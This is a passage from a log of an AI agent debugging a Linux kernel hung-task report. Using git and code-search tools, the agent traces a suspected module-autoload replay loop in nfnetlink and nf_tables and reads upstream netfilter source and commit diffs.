* **`nfnetlink_rcv_batch` Replay Loop:** The reproducer likely triggers an infinite loop in `nfnetlink_rcv_batch`. When an expression (like `synproxy`) or module is missing, the kernel attempts to load it via `request_module`, returns `-EAGAIN`, and `nfnetlink_rcv_batch` jumps to `replay:`. If the module fails to load but the state isn't correctly updated to prevent retries, it loops forever.
* **`rtnl_lock` Starvation:** The infinite loop in the netlink processing might be running with preemption disabled or simply starving the task that currently holds `rtnl_lock()`, causing `crda_timeout_work` to trigger the hung task watchdog.
**3. Critical File Paths & Code Snippets:**
* `net/wireless/reg.c`: `crda_timeout_work` (blocks on `rtnl_lock()`).
* `net/netfilter/nfnetlink.c`: `nfnetlink_rcv_batch` (contains the `replay:` label and handles `-EAGAIN` by replaying the batch).
* `net/netfilter/nf_tables_api.c`: `nf_tables_commit`, `nf_tables_abort`, `nft_request_module`, and `nf_tables_module_autoload`.
* `net/netfilter/nft_synproxy.c`: `nft_synproxy_do_init` (entry point for the reproducer's payload).
**4. Reasoning Loops / Repetitive Tool Calls:**
* The agent spent a significant amount of time reading various functions in `net/netfilter/nf_tables_api.c` (`nf_tables_commit`, `nf_tables_validate`, `nf_tables_newchain`, etc.) to trace the exact path of the netlink message and find the source of the loop. No problematic tool call loops were observed, but the investigation heavily focused on the `nf_tables` transaction lifecycle.
Tokens:
input: 118982
output: 912
thoughts: 1978
|
| 153/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 8654
output: 25
thoughts: 167
Thoughts: **Analyzing the Kernel Bug's Security Implications**
Okay, so we have a reported kernel bug to assess. The core issue appears to be a hung task specifically within `crda_timeout_work`, which is blocked, waiting for `rtnl_lock()`. The reproducer uses a netlink message, an `NFT_BATCH` specifically, to configure `nft_synproxy`. It's looking like the problem is stemming from the interaction between these components.
My initial hypothesis, based on the description, is that there's an infinite loop buried in `nfnetlink_rcv_batch`. The trigger is likely an `-EAGAIN` error combined with a failure in `request_module()`. This combo would cause the loop to starve the CPU or, worse, hold a crucial lock, which then leads to the `crda_timeout_work` hang.
Now, let's verify that infinite loop theory. I recall the commit `1d305ba40eb8` ("netfilter: nf_tables: fix infinite loop when expr is not available") being flagged. That seems relevant, so I need to dig into it.
|
| 154/2 |
2026/05/31 10:43 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 1d305ba40eb8081ff21eeb8ca6ba5c70fd920934
Author: Florian Westphal <fw@strlen.de>
Date: Thu Mar 5 11:15:36 2020 +0100
netfilter: nf_tables: fix infinite loop when expr is not available
nft will loop forever if the kernel doesn't support an expression:
1. nft_expr_type_get() appends the family specific name to the module list.
2. -EAGAIN is returned to nfnetlink, nfnetlink calls abort path.
3. abort path sets ->done to true and calls request_module for the
expression.
4. nfnetlink replays the batch, we end up in nft_expr_type_get() again.
5. nft_expr_type_get attempts to append family-specific name. This
one already exists on the list, so we continue
6. nft_expr_type_get adds the generic expression name to the module
list. -EAGAIN is returned, nfnetlink calls abort path.
7. abort path encounters the family-specific expression which
has 'done' set, so it gets removed.
8. abort path requests the generic expression name, sets done to true.
9. batch is replayed.
If the expression could not be loaded, then we will end up back at 1),
because the family-specific name got removed and the cycle starts again.
Note that userspace can SIGKILL the nft process to stop the cycle, but
the desired behaviour is to return an error after the generic expr name
fails to load the expression.
Fixes: eb014de4fd418 ("netfilter: nf_tables: autoload modules from the abort path")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index f9e60981bd36..38c680f28f15 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -7388,13 +7388,8 @@ static void nf_tables_module_autoload(struct net *net)
list_splice_init(&net->nft.module_list, &module_list);
mutex_unlock(&net->nft.commit_mutex);
list_for_each_entry_safe(req, next, &module_list, list) {
- if (req->done) {
- list_del(&req->list);
- kfree(req);
- } else {
- request_module("%s", req->module);
- req->done = true;
- }
+ request_module("%s", req->module);
+ req->done = true;
}
mutex_lock(&net->nft.commit_mutex);
list_splice(&module_list, &net->nft.module_list);
@@ -8177,6 +8172,7 @@ static void __net_exit nf_tables_exit_net(struct net *net)
__nft_release_tables(net);
mutex_unlock(&net->nft.commit_mutex);
WARN_ON_ONCE(!list_empty(&net->nft.tables));
+ WARN_ON_ONCE(!list_empty(&net->nft.module_list));
}
static struct pernet_operations nf_tables_net_ops = {
]
|
| 155/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 9854
output: 21
thoughts: 195
Thoughts: **Analyzing a Tricky Kernel Bug**
Okay, so this bug report is pointing towards a hung task, `crda_timeout_work`, and it looks like it's stuck waiting for `rtnl_lock()`. The reproducer is sending a netlink message to `nf_tables`, specifically using `NFT_BATCH`. Hmm, the history is suggesting that the issue is an infinite loop inside `nfnetlink_rcv_batch` triggered by `request_module` and a `-EAGAIN` error. But hold on a second… this commit `1d305ba40eb8` is from 2020. Is this a new bug report, or something that's been lingering? Let me check the kernel version and if there are any other reports with similar symptoms.
Ah, I see, the reproducer uses `synproxy`. That changes things. Let's dig into `nft_synproxy.c` and take a closer look at how module loading is handled there. My hunch is that requesting `nft_synproxy` is somehow triggering a module-loading loop or deadlock. This feels like the most likely cause. I need to understand how `nf_tables_module_autoload` is currently implemented in the running kernel to confirm this. Time to get my hands dirty.
|
| 156/2 |
2026/05/31 10:43 |
tool |
grepper |
0m
Args: map[Expression:nf_tables_module_autoload]
Results: map[Output:net/netfilter/nf_tables_api.c=10642=struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc)
--
net/netfilter/nf_tables_api.c-10670-
net/netfilter/nf_tables_api.c:10671:static void nf_tables_module_autoload_cleanup(struct net *net)
net/netfilter/nf_tables_api.c-10672-{
--
net/netfilter/nf_tables_api.c=10684=static void nf_tables_commit_release(struct net *net)
--
net/netfilter/nf_tables_api.c-10696- if (list_empty(&nft_net->commit_list)) {
net/netfilter/nf_tables_api.c:10697: nf_tables_module_autoload_cleanup(net);
net/netfilter/nf_tables_api.c-10698- mutex_unlock(&nft_net->commit_mutex);
--
net/netfilter/nf_tables_api.c-10711-
net/netfilter/nf_tables_api.c:10712: nf_tables_module_autoload_cleanup(net);
net/netfilter/nf_tables_api.c-10713- schedule_work(&nft_net->destroy_work);
--
net/netfilter/nf_tables_api.c=10860=static int nf_tables_commit(struct net *net, struct sk_buff *skb)
--
net/netfilter/nf_tables_api.c-11172-
net/netfilter/nf_tables_api.c:11173:static void nf_tables_module_autoload(struct net *net)
net/netfilter/nf_tables_api.c-11174-{
--
net/netfilter/nf_tables_api.c=11455=static int nf_tables_abort(struct net *net, struct sk_buff *skb,
--
net/netfilter/nf_tables_api.c-11471- if (action == NFNL_ABORT_AUTOLOAD)
net/netfilter/nf_tables_api.c:11472: nf_tables_module_autoload(net);
net/netfilter/nf_tables_api.c-11473- else
net/netfilter/nf_tables_api.c:11474: nf_tables_module_autoload_cleanup(net);
net/netfilter/nf_tables_api.c-11475-
--
net/netfilter/nf_tables_api.c=12143=static void __net_exit nf_tables_exit_net(struct net *net)
--
net/netfilter/nf_tables_api.c-12155- if (!list_empty(&nft_net->module_list))
net/netfilter/nf_tables_api.c:12156: nf_tables_module_autoload_cleanup(net);
net/netfilter/nf_tables_api.c-12157-
]
|
| 157/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 10956
output: 43
thoughts: 0
|
| 158/2 |
2026/05/31 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload]
Results: map[SourceCode:11173: static void nf_tables_module_autoload(struct net *net)
11174: {
11175: struct nftables_pernet *nft_net = nft_pernet(net);
11176: struct nft_module_request *req, *next;
11177: LIST_HEAD(module_list);
11178:
11179: list_splice_init(&nft_net->module_list, &module_list);
11180: mutex_unlock(&nft_net->commit_mutex);
11181: list_for_each_entry_safe(req, next, &module_list, list) {
11182: request_module("%s", req->module);
11183: req->done = true;
11184: }
11185: mutex_lock(&nft_net->commit_mutex);
11186: list_splice(&module_list, &nft_net->module_list);
11187: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 159/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 11308
output: 45
thoughts: 0
|
| 160/2 |
2026/05/31 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload_cleanup]
Results: map[SourceCode:10671: static void nf_tables_module_autoload_cleanup(struct net *net)
10672: {
10673: struct nftables_pernet *nft_net = nft_pernet(net);
10674: struct nft_module_request *req, *next;
10675:
10676: WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
10677: list_for_each_entry_safe(req, next, &nft_net->module_list, list) {
10678: WARN_ON_ONCE(!req->done);
10679: list_del(&req->list);
10680: kfree(req);
10681: }
10682: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 161/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 11603
output: 41
thoughts: 0
|
| 162/2 |
2026/05/31 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_request_module]
Results: map[SourceCode:1065: __printf(2, 3) int nft_request_module(struct net *net, const char *fmt,
1066: ...)
1067: {
1068: char module_name[MODULE_NAME_LEN];
1069: struct nftables_pernet *nft_net;
1070: struct nft_module_request *req;
1071: va_list args;
1072: int ret;
1073:
1074: va_start(args, fmt);
1075: ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
1076: va_end(args);
1077: if (ret >= MODULE_NAME_LEN)
1078: return 0;
1079:
1080: nft_net = nft_pernet(net);
1081: list_for_each_entry(req, &nft_net->module_list, list) {
1082: if (!strcmp(req->module, module_name)) {
1083: if (req->done)
1084: return 0;
1085:
1086: /* A request to load this module already exists. */
1087: return -EAGAIN;
1088: }
1089: }
1090:
1091: req = kmalloc(sizeof(*req), GFP_KERNEL);
1092: if (!req)
1093: return -ENOMEM;
1094:
1095: req->done = false;
1096: strscpy(req->module, module_name, MODULE_NAME_LEN);
1097: list_add_tail(&req->list, &nft_net->module_list);
1098:
1099: return -EAGAIN;
1100: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 163/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 12194
output: 42
thoughts: 0
|
| 164/2 |
2026/05/31 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnetlink_rcv_batch]
Results: map[SourceCode: 371: static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
372: u16 subsys_id, u32 genid)
373: {
374: struct sk_buff *oskb = skb;
375: struct net *net = sock_net(skb->sk);
376: const struct nfnetlink_subsystem *ss;
377: const struct nfnl_callback *nc;
378: struct netlink_ext_ack extack;
379: LIST_HEAD(err_list);
380: u32 status;
381: int err;
382:
383: if (subsys_id >= NFNL_SUBSYS_COUNT)
384: return netlink_ack(skb, nlh, -EINVAL, NULL);
385: replay:
386: status = 0;
387: replay_abort:
388: skb = netlink_skb_clone(oskb, GFP_KERNEL);
389: if (!skb)
390: return netlink_ack(oskb, nlh, -ENOMEM, NULL);
391:
392: nfnl_lock(subsys_id);
393: ss = nfnl_dereference_protected(subsys_id);
394: if (!ss) {
395: #ifdef CONFIG_MODULES
396: nfnl_unlock(subsys_id);
397: request_module("nfnetlink-subsys-%d", subsys_id);
398: nfnl_lock(subsys_id);
399: ss = nfnl_dereference_protected(subsys_id);
400: if (!ss)
401: #endif
402: {
403: nfnl_unlock(subsys_id);
404: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
405: return consume_skb(skb);
406: }
407: }
408:
409: if (!ss->valid_genid || !ss->commit || !ss->abort) {
410: nfnl_unlock(subsys_id);
411: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
412: return consume_skb(skb);
413: }
414:
415: if (!try_module_get(ss->owner)) {
416: nfnl_unlock(subsys_id);
417: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
418: return consume_skb(skb);
419: }
420:
421: if (!ss->valid_genid(net, genid)) {
422: module_put(ss->owner);
423: nfnl_unlock(subsys_id);
424: netlink_ack(oskb, nlh, -ERESTART, NULL);
425: return consume_skb(skb);
426: }
427:
428: nfnl_unlock(subsys_id);
429:
430: if (nlh->nlmsg_flags & NLM_F_ACK) {
431: memset(&extack, 0, sizeof(extack));
432: nfnl_err_add(&err_list, nlh, 0, &extack);
433: }
434:
435: while (skb->len >= nlmsg_total_size(0)) {
436: int msglen, type;
437:
438: if (fatal_signal_pending(current)) {
439: nfnl_err_reset(&err_list);
440: err = -EINTR;
441: status = NFNL_BATCH_FAILURE;
442: goto done;
443: }
444:
445: memset(&extack, 0, sizeof(extack));
446: nlh = nlmsg_hdr(skb);
447: err = 0;
448:
449: if (nlh->nlmsg_len < NLMSG_HDRLEN ||
450: skb->len < nlh->nlmsg_len ||
451: nlmsg_len(nlh) < sizeof(struct nfgenmsg)) {
452: nfnl_err_reset(&err_list);
453: status |= NFNL_BATCH_FAILURE;
454: goto done;
455: }
456:
457: /* Only requests are handled by the kernel */
458: if (!(nlh->nlmsg_flags & NLM_F_REQUEST)) {
459: err = -EINVAL;
460: goto ack;
461: }
462:
463: type = nlh->nlmsg_type;
464: if (type == NFNL_MSG_BATCH_BEGIN) {
465: /* Malformed: Batch begin twice */
466: nfnl_err_reset(&err_list);
467: status |= NFNL_BATCH_FAILURE;
468: goto done;
469: } else if (type == NFNL_MSG_BATCH_END) {
470: status |= NFNL_BATCH_DONE;
471: goto done;
472: } else if (type < NLMSG_MIN_TYPE) {
473: err = -EINVAL;
474: goto ack;
475: }
476:
477: /* We only accept a batch with messages for the same
478: * subsystem.
479: */
480: if (NFNL_SUBSYS_ID(type) != subsys_id) {
481: err = -EINVAL;
482: goto ack;
483: }
484:
485: nc = nfnetlink_find_client(type, ss);
486: if (!nc) {
487: err = -EINVAL;
488: goto ack;
489: }
490:
491: if (nc->type != NFNL_CB_BATCH) {
492: err = -EINVAL;
493: goto ack;
494: }
495:
496: {
497: int min_len = nlmsg_total_size(sizeof(struct nfgenmsg));
498: struct nfnl_net *nfnlnet = nfnl_pernet(net);
499: struct nlattr *cda[NFNL_MAX_ATTR_COUNT + 1];
500: struct nlattr *attr = (void *)nlh + min_len;
501: u8 cb_id = NFNL_MSG_TYPE(nlh->nlmsg_type);
502: int attrlen = nlh->nlmsg_len - min_len;
503: struct nfnl_info info = {
504: .net = net,
505: .sk = nfnlnet->nfnl,
506: .nlh = nlh,
507: .nfmsg = nlmsg_data(nlh),
508: .extack = &extack,
509: };
510:
511: /* Sanity-check NFTA_MAX_ATTR */
512: if (ss->cb[cb_id].attr_count > NFNL_MAX_ATTR_COUNT) {
513: err = -ENOMEM;
514: goto ack;
515: }
516:
517: err = nla_parse_deprecated(cda,
518: ss->cb[cb_id].attr_count,
519: attr, attrlen,
520: ss->cb[cb_id].policy, &extack);
521: if (err < 0)
522: goto ack;
523:
524: err = nc->call(skb, &info, (const struct nlattr **)cda);
525:
526: /* The lock was released to autoload some module, we
527: * have to abort and start from scratch using the
528: * original skb.
529: */
530: if (err == -EAGAIN) {
531: status |= NFNL_BATCH_REPLAY;
532: goto done;
533: }
534: }
535: ack:
536: if (nlh->nlmsg_flags & NLM_F_ACK || err) {
537: /* Errors are delivered once the full batch has been
538: * processed, this avoids that the same error is
539: * reported several times when replaying the batch.
540: */
541: if (err == -ENOMEM ||
542: nfnl_err_add(&err_list, nlh, err, &extack) < 0) {
543: /* We failed to enqueue an error, reset the
544: * list of errors and send OOM to userspace
545: * pointing to the batch header.
546: */
547: nfnl_err_reset(&err_list);
548: netlink_ack(oskb, nlmsg_hdr(oskb), -ENOMEM,
549: NULL);
550: status |= NFNL_BATCH_FAILURE;
551: goto done;
552: }
553: /* We don't stop processing the batch on errors, thus,
554: * userspace gets all the errors that the batch
555: * triggers.
556: */
557: if (err)
558: status |= NFNL_BATCH_FAILURE;
559: }
560:
561: msglen = NLMSG_ALIGN(nlh->nlmsg_len);
562: if (msglen > skb->len)
563: msglen = skb->len;
564: skb_pull(skb, msglen);
565: }
566: done:
567: if (status & NFNL_BATCH_REPLAY) {
568: ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
569: nfnl_err_reset(&err_list);
570: consume_skb(skb);
571: module_put(ss->owner);
572: goto replay;
573: } else if (status == NFNL_BATCH_DONE) {
574: err = ss->commit(net, oskb);
575: if (err == -EAGAIN) {
576: status |= NFNL_BATCH_REPLAY;
577: goto done;
578: } else if (err) {
579: ss->abort(net, oskb, NFNL_ABORT_NONE);
580: netlink_ack(oskb, nlmsg_hdr(oskb), err, NULL);
581: } else if (nlh->nlmsg_flags & NLM_F_ACK) {
582: memset(&extack, 0, sizeof(extack));
583: nfnl_err_add(&err_list, nlh, 0, &extack);
584: }
585: } else {
586: enum nfnl_abort_action abort_action;
587:
588: if (status & NFNL_BATCH_FAILURE)
589: abort_action = NFNL_ABORT_NONE;
590: else
591: abort_action = NFNL_ABORT_VALIDATE;
592:
593: err = ss->abort(net, oskb, abort_action);
594: if (err == -EAGAIN) {
595: nfnl_err_reset(&err_list);
596: consume_skb(skb);
597: module_put(ss->owner);
598: status |= NFNL_BATCH_FAILURE;
599: goto replay_abort;
600: }
601: }
602:
603: nfnl_err_deliver(&err_list, oskb);
604: consume_skb(skb);
605: module_put(ss->owner);
606: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 165/2 |
2026/05/31 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 15909
output: 47
thoughts: 0
|
| 166/2 |
2026/05/31 10:43 |
tool |
git-log |
0m
Args: map[CodeRegexp:nf_tables_module_autoload Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
Results: map[Output:0d459e2ffb54 netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path
a45e6889575c netfilter: nf_tables: release batch on table validation from abort path
eb014de4fd41 netfilter: nf_tables: autoload modules from the abort path
]
|
| 167/2 |
2026/05/31 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 16052
output: 24
thoughts: 0
|
| 168/2 |
2026/05/31 10:44 |
tool |
git-show |
0m
Args:
Results: map[Output:commit eb014de4fd418de1a277913cba244e47274fe392
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Tue Jan 21 16:48:03 2020 +0100
netfilter: nf_tables: autoload modules from the abort path
This patch introduces a list of pending module requests. This new module
list is composed of nft_module_request objects that contain the module
name and one status field that tells if the module has been already
loaded (the 'done' field).
In the first pass, from the preparation phase, the netlink command finds
that a module is missing on this list. Then, a module request is
allocated and added to this list and nft_request_module() returns
-EAGAIN. This triggers the abort path with the autoload parameter set on
from nfnetlink, request_module() is called and the module request enters
the 'done' state. Since the mutex is released when loading modules from
the abort phase, the module list is zapped so this is iteration occurs
over a local list. Therefore, the request_module() calls happen when
object lists are in consistent state (after fulling aborting the
transaction) and the commit list is empty.
On the second pass, the netlink command will find that it already tried
to load the module, so it does not request it again and
nft_request_module() returns 0. Then, there is a look up to find the
object that the command was missing. If the module was successfully
loaded, the command proceeds normally since it finds the missing object
in place, otherwise -ENOENT is reported to userspace.
This patch also updates nfnetlink to include the reason to enter the
abort phase, which is required for this new autoload module rationale.
Fixes: ec7470b834fe ("netfilter: nf_tables: store transaction list locally while requesting module")
Reported-by: syzbot+29125d208b3dae9a7019@syzkaller.appspotmail.com
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/include/linux/netfilter/nfnetlink.h b/include/linux/netfilter/nfnetlink.h
index cf09ab37b45b..851425c3178f 100644
--- a/include/linux/netfilter/nfnetlink.h
+++ b/include/linux/netfilter/nfnetlink.h
@@ -31,7 +31,7 @@ struct nfnetlink_subsystem {
const struct nfnl_callback *cb; /* callback for individual types */
struct module *owner;
int (*commit)(struct net *net, struct sk_buff *skb);
- int (*abort)(struct net *net, struct sk_buff *skb);
+ int (*abort)(struct net *net, struct sk_buff *skb, bool autoload);
void (*cleanup)(struct net *net);
bool (*valid_genid)(struct net *net, u32 genid);
};
diff --git a/include/net/netns/nftables.h b/include/net/netns/nftables.h
index 286fd960896f..a1a8d45adb42 100644
--- a/include/net/netns/nftables.h
+++ b/include/net/netns/nftables.h
@@ -7,6 +7,7 @@
struct netns_nftables {
struct list_head tables;
struct list_head commit_list;
+ struct list_head module_list;
struct mutex commit_mutex;
unsigned int base_seq;
u8 gencursor;
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 4aa01c1253b1..7e63b481cc86 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -578,35 +578,45 @@ __nf_tables_chain_type_lookup(const struct nlattr *nla, u8 family)
return NULL;
}
-/*
- * Loading a module requires dropping mutex that guards the transaction.
- * A different client might race to start a new transaction meanwhile. Zap the
- * list of pending transaction and then restore it once the mutex is grabbed
- * again. Users of this function return EAGAIN which implicitly triggers the
- * transaction abort path to clean up the list of pending transactions.
- */
+struct nft_module_request {
+ struct list_head list;
+ char module[MODULE_NAME_LEN];
+ bool done;
+};
+
#ifdef CONFIG_MODULES
-static void nft_request_module(struct net *net, const char *fmt, ...)
+static int nft_request_module(struct net *net, const char *fmt, ...)
{
char module_name[MODULE_NAME_LEN];
- LIST_HEAD(commit_list);
+ struct nft_module_request *req;
va_list args;
int ret;
- list_splice_init(&net->nft.commit_list, &commit_list);
-
va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
- return;
+ return 0;
- mutex_unlock(&net->nft.commit_mutex);
- request_module("%s", module_name);
- mutex_lock(&net->nft.commit_mutex);
+ list_for_each_entry(req, &net->nft.module_list, list) {
+ if (!strcmp(req->module, module_name)) {
+ if (req->done)
+ return 0;
- WARN_ON_ONCE(!list_empty(&net->nft.commit_list));
- list_splice(&commit_list, &net->nft.commit_list);
+ /* A request to load this module already exists. */
+ return -EAGAIN;
+ }
+ }
+
+ req = kmalloc(sizeof(*req), GFP_KERNEL);
+ if (!req)
+ return -ENOMEM;
+
+ req->done = false;
+ strlcpy(req->module, module_name, MODULE_NAME_LEN);
+ list_add_tail(&req->list, &net->nft.module_list);
+
+ return -EAGAIN;
}
#endif
@@ -630,10 +640,9 @@ nf_tables_chain_type_lookup(struct net *net, const struct nlattr *nla,
lockdep_nfnl_nft_mutex_not_held();
#ifdef CONFIG_MODULES
if (autoload) {
- nft_request_module(net, "nft-chain-%u-%.*s", family,
- nla_len(nla), (const char *)nla_data(nla));
- type = __nf_tables_chain_type_lookup(nla, family);
- if (type != NULL)
+ if (nft_request_module(net, "nft-chain-%u-%.*s", family,
+ nla_len(nla),
+ (const char *)nla_data(nla)) == -EAGAIN)
return ERR_PTR(-EAGAIN);
}
#endif
@@ -2341,9 +2350,8 @@ static const struct nft_expr_type *__nft_expr_type_get(u8 family,
static int nft_expr_type_request_module(struct net *net, u8 family,
struct nlattr *nla)
{
- nft_request_module(net, "nft-expr-%u-%.*s", family,
- nla_len(nla), (char *)nla_data(nla));
- if (__nft_expr_type_get(family, nla))
+ if (nft_request_module(net, "nft-expr-%u-%.*s", family,
+ nla_len(nla), (char *)nla_data(nla)) == -EAGAIN)
return -EAGAIN;
return 0;
@@ -2369,9 +2377,9 @@ static const struct nft_expr_type *nft_expr_type_get(struct net *net,
if (nft_expr_type_request_module(net, family, nla) == -EAGAIN)
return ERR_PTR(-EAGAIN);
- nft_request_module(net, "nft-expr-%.*s",
- nla_len(nla), (char *)nla_data(nla));
- if (__nft_expr_type_get(family, nla))
+ if (nft_request_module(net, "nft-expr-%.*s",
+ nla_len(nla),
+ (char *)nla_data(nla)) == -EAGAIN)
return ERR_PTR(-EAGAIN);
}
#endif
@@ -2462,9 +2470,10 @@ static int nf_tables_expr_parse(const struct nft_ctx *ctx,
err = PTR_ERR(ops);
#ifdef CONFIG_MODULES
if (err == -EAGAIN)
- nft_expr_type_request_module(ctx->net,
- ctx->family,
- tb[NFTA_EXPR_NAME]);
+ if (nft_expr_type_request_module(ctx->net,
+ ctx->family,
+ tb[NFTA_EXPR_NAME]) != -EAGAIN)
+ err = -ENOENT;
#endif
goto err1;
}
@@ -3301,8 +3310,7 @@ nft_select_set_ops(const struct nft_ctx *ctx,
lockdep_nfnl_nft_mutex_not_held();
#ifdef CONFIG_MODULES
if (list_empty(&nf_tables_set_types)) {
- nft_request_module(ctx->net, "nft-set");
- if (!list_empty(&nf_tables_set_types))
+ if (nft_request_module(ctx->net, "nft-set") == -EAGAIN)
return ERR_PTR(-EAGAIN);
}
#endif
@@ -5428,8 +5436,7 @@ nft_obj_type_get(struct net *net, u32 objtype)
lockdep_nfnl_nft_mutex_not_held();
#ifdef CONFIG_MODULES
if (type == NULL) {
- nft_request_module(net, "nft-obj-%u", objtype);
- if (__nft_obj_type_get(objtype))
+ if (nft_request_module(net, "nft-obj-%u", objtype) == -EAGAIN)
return ERR_PTR(-EAGAIN);
}
#endif
@@ -6002,8 +6009,7 @@ nft_flowtable_type_get(struct net *net, u8 family)
lockdep_nfnl_nft_mutex_not_held();
#ifdef CONFIG_MODULES
if (type == NULL) {
- nft_request_module(net, "nf-flowtable-%u", family);
- if (__nft_flowtable_type_get(family))
+ if (nft_request_module(net, "nf-flowtable-%u", family) == -EAGAIN)
return ERR_PTR(-EAGAIN);
}
#endif
@@ -7005,6 +7011,18 @@ static void nft_chain_del(struct nft_chain *chain)
list_del_rcu(&chain->list);
}
+static void nf_tables_module_autoload_cleanup(struct net *net)
+{
+ struct nft_module_request *req, *next;
+
+ WARN_ON_ONCE(!list_empty(&net->nft.commit_list));
+ list_for_each_entry_safe(req, next, &net->nft.module_list, list) {
+ WARN_ON_ONCE(!req->done);
+ list_del(&req->list);
+ kfree(req);
+ }
+}
+
static void nf_tables_commit_release(struct net *net)
{
struct nft_trans *trans;
@@ -7017,6 +7035,7 @@ static void nf_tables_commit_release(struct net *net)
* to prevent expensive synchronize_rcu() in commit phase.
*/
if (list_empty(&net->nft.commit_list)) {
+ nf_tables_module_autoload_cleanup(net);
mutex_unlock(&net->nft.commit_mutex);
return;
}
@@ -7031,6 +7050,7 @@ static void nf_tables_commit_release(struct net *net)
list_splice_tail_init(&net->nft.commit_list, &nf_tables_destroy_list);
spin_unlock(&nf_tables_destroy_list_lock);
+ nf_tables_module_autoload_cleanup(net);
mutex_unlock(&net->nft.commit_mutex);
schedule_work(&trans_destroy_work);
@@ -7222,6 +7242,26 @@ static int nf_tables_commit(struct net *net, struct sk_buff *skb)
return 0;
}
+static void nf_tables_module_autoload(struct net *net)
+{
+ struct nft_module_request *req, *next;
+ LIST_HEAD(module_list);
+
+ list_splice_init(&net->nft.module_list, &module_list);
+ mutex_unlock(&net->nft.commit_mutex);
+ list_for_each_entry_safe(req, next, &module_list, list) {
+ if (req->done) {
+ list_del(&req->list);
+ kfree(req);
+ } else {
+ request_module("%s", req->module);
+ req->done = true;
+ }
+ }
+ mutex_lock(&net->nft.commit_mutex);
+ list_splice(&module_list, &net->nft.module_list);
+}
+
static void nf_tables_abort_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
@@ -7251,7 +7291,7 @@ static void nf_tables_abort_release(struct nft_trans *trans)
kfree(trans);
}
-static int __nf_tables_abort(struct net *net)
+static int __nf_tables_abort(struct net *net, bool autoload)
{
struct nft_trans *trans, *next;
struct nft_trans_elem *te;
@@ -7373,6 +7413,11 @@ static int __nf_tables_abort(struct net *net)
nf_tables_abort_release(trans);
}
+ if (autoload)
+ nf_tables_module_autoload(net);
+ else
+ nf_tables_module_autoload_cleanup(net);
+
return 0;
}
@@ -7381,9 +7426,9 @@ static void nf_tables_cleanup(struct net *net)
nft_validate_state_update(net, NFT_VALIDATE_SKIP);
}
-static int nf_tables_abort(struct net *net, struct sk_buff *skb)
+static int nf_tables_abort(struct net *net, struct sk_buff *skb, bool autoload)
{
- int ret = __nf_tables_abort(net);
+ int ret = __nf_tables_abort(net, autoload);
mutex_unlock(&net->nft.commit_mutex);
@@ -7978,6 +8023,7 @@ static int __net_init nf_tables_init_net(struct net *net)
{
INIT_LIST_HEAD(&net->nft.tables);
INIT_LIST_HEAD(&net->nft.commit_list);
+ INIT_LIST_HEAD(&net->nft.module_list);
mutex_init(&net->nft.commit_mutex);
net->nft.base_seq = 1;
net->nft.validate_state = NFT_VALIDATE_SKIP;
@@ -7989,7 +8035,7 @@ static void __net_exit nf_tables_exit_net(struct net *net)
{
mutex_lock(&net->nft.commit_mutex);
if (!list_empty(&net->nft.commit_list))
- __nf_tables_abort(net);
+ __nf_tables_abort(net, false);
__nft_release_tables(net);
mutex_unlock(&net->nft.commit_mutex);
WARN_ON_ONCE(!list_empty(&net->nft.tables));
diff --git a/net/netfilter/nfnetlink.c b/net/netfilter/nfnetlink.c
index 4abbb452cf6c..99127e2d95a8 100644
--- a/net/netfilter/nfnetlink.c
+++ b/net/netfilter/nfnetlink.c
@@ -476,7 +476,7 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
}
done:
if (status & NFNL_BATCH_REPLAY) {
- ss->abort(net, oskb);
+ ss->abort(net, oskb, true);
nfnl_err_reset(&err_list);
kfree_skb(skb);
module_put(ss->owner);
@@ -487,11 +487,11 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
status |= NFNL_BATCH_REPLAY;
goto done;
} else if (err) {
- ss->abort(net, oskb);
+ ss->abort(net, oskb, false);
